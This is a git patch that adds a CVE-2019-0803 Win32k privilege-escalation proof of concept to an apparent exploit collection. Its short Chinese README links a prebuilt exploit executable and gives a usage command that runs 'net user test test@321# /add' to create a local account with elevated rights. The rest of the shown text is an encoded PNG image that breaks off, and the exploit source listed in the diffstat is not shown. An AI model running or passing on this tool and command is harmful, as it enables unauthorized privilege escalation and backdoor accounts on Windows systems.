From 19fb7336564d2e9846e90f7dcbbf8eaa3fb61b3f Mon Sep 17 00:00:00 2001 From: mr-xn Date: Fri, 11 Oct 2019 19:48:18 +0800 Subject: [PATCH] =?UTF-8?q?add=20CVE-2019-0803=20Win32k=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E6=8F=90=E6=9D=83=E5=B7=A5=E5=85=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...-0803-Win32k Elevation of Privilege Poc.md | 12 + CVE-2019-0803/CVE-2019-0803.png | Bin 0 -> 25685 bytes CVE-2019-0803/CVE-2019-0803/README.md | 12 + .../CVE-2019-0803/win7sp1/poc_test.sln | 31 + .../CVE-2019-0803/win7sp1/poc_test/DDE.cpp | Bin 0 -> 10478 bytes .../CVE-2019-0803/win7sp1/poc_test/main.cpp | 570 ++++++++++++++++++ .../win7sp1/poc_test/poc_test.vcxproj | 176 ++++++ .../win7sp1/poc_test/poc_test.vcxproj.filters | 44 ++ .../CVE-2019-0803/win7sp1/poc_test/stdafx.cpp | Bin 0 -> 318 bytes .../CVE-2019-0803/win7sp1/poc_test/stdafx.h | Bin 0 -> 502 bytes .../CVE-2019-0803/win7sp1/poc_test/struct.h | 154 +++++ .../win7sp1/poc_test/targetver.h | Bin 0 -> 370 bytes .../CVE-2019-0803/win7sp1/poc_test/x64.asm | 50 ++ img/46.jpg | Bin 0 -> 12300 bytes 14 files changed, 1049 insertions(+) create mode 100644 CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md create mode 100644 CVE-2019-0803/CVE-2019-0803.png create mode 100644 CVE-2019-0803/CVE-2019-0803/README.md create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test.sln create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/DDE.cpp create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/main.cpp create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h create mode 100644 CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm create mode 100644 img/46.jpg diff --git a/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md b/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md new file mode 100644 index 0000000..a533e0f --- /dev/null +++ b/CVE-2019-0803/CVE-2019-0803-Win32k Elevation of Privilege Poc.md @@ -0,0 +1,12 @@ +## CVE-2019-0803-Win32k Elevation of Privilege Poc + +CVE-2019-0803.exe Win32k漏洞提权工具 没有编译的 + +![](CVE-2019-0803.png) + +另外一个是K8写的成品EXE，提示:自行斟酌使用任何提权EXE： + +`https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe` + +使用方法：`CVE-2019-0803.exe cmd "net user test test@321# /add"` + diff --git a/CVE-2019-0803/CVE-2019-0803.png b/CVE-2019-0803/CVE-2019-0803.png new file mode 100644 index 0000000000000000000000000000000000000000..cd353a63c5d06d2a4fb7d9046f32b24a22676a78 GIT binary patch literal 25685 zcma&Nby$-WdGu3hIoJNM4H->-PT@3ROEHAUiwv=0FQ0I|{=xpx4-Jq)&$6X0Qc zd~P5A005W(N^-BYA*nm9o-GXWKW}e~+R~KkmHq8s0Svn0gZ*ESJbfmojT3GWSSV0k zh)b@Js`-7Rpc?+?K7Cr8JeiRnH?mN6=CSGwFB8*XdI-aJ`Oi+|OqX8jzPDTBo2T1a zhE4?|VrNIgsP*)5os$VIH=k&Ef;>xaX^G@6@oRPEqbm+Cxe zB+MeXAhi9o-v1}Fy?gk}{CaLyV#{LntRWP)gVMfszl2zPz`>Ib($L@WEKX!VtlS~*Y z2gai{s_R0hQKAxnjVyUYUMY{GeqZ z@FBBv&ttPLcgq8#Td!7kwOMXTfghC<6ORt^gET5QYlcfH1b_N?< zxydB1sFwSjla$=g<^LS$J+)!RZ$0Ne+y6H8+HO2$eN-ejy!VU?WUJt6HuMBz{M2$Y z!7Vx1Tur5cLE#+CDDh{`D%c@&@Xl^Kx?NHR{!*>e+ zjrLTKDr1SUaZ9MqgOhhY-N9@(%34qI%sq+>S%SXi3GGCT#n&?*Oj!LX3|sP+$C1%( z&#_$y@z;wCGSf&1`bcuA_%Z8bOIh%^Eu0AXPWSOZJQIpPmUm#f<+QkpN@%2Y^e@m0 zGnxCm)Ri~gn^z#X@KvVcz`|qV(-!>b{mg7PlcJ}s?n3um_7~V?KOGex&G2~C_i{Y7 z{rLVR`jhrh*&l`$w~q#+;a?~5#ylqy5wfuiuc1_Ad?s%qzS0Z+BggqMS8UvqFg;?Z zl#)%q`}yVZBq@y;veIW?QI?BR1osvhIbyb({A2KiF-&7j?_6 z?vRVxK1r$(Nf_JtFTQ>}cawjVC#J}#ykUw8`3SivI*v4=v~(AQNkTz|Ttc}Eu?`p> z6IIW@Ar^!%TbvD6KFT`V(;;qr>|gjsyV$R>^n6pNJH}b?(fv2fI8GUkK8gvGIZjc@ z3ngdB77j(AAHuN0@^E+_+bHOyymutXymwk8+4sqP6kLJb;pS4Imr}Z?tx=ODOM#^R z95M*rV#ZgQz_V0g@{dcSdIDE~%AFVrbUmY#!4dL-e?bL(L_;*)OU(JI6=ndla#>zA zvbm@KUb*2ahJvmOB_-|ixw8J9pKS?+%+!NfQXO?BQ2WbA24}CgIDTC$kH!`f!ic>H zB#g3BNO#V)8dB-yJbY@Ad7>nv<9+HlIt{I|?&5o!tzljUWm8z`h?B@4#0e`c|Uh_>WX zoF>14wD{5U;^lG(GsNni3rO#EDxv{T(!s5~1BcD(ectMARVKqB(dc;c;#JB|42jFW z{7aW83YRlrY!7^`+J>u3d@Y39$o&kUt#R^;nW^{|KVb{$L~|uS`2|1F?~nLy=##hj zOD=gcEk1lmKLyynFMt#m<^RWyxp@Jcx=(m@;&ct)Zrfy%pz ZQ+f`Im?LJ<#3D^ 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 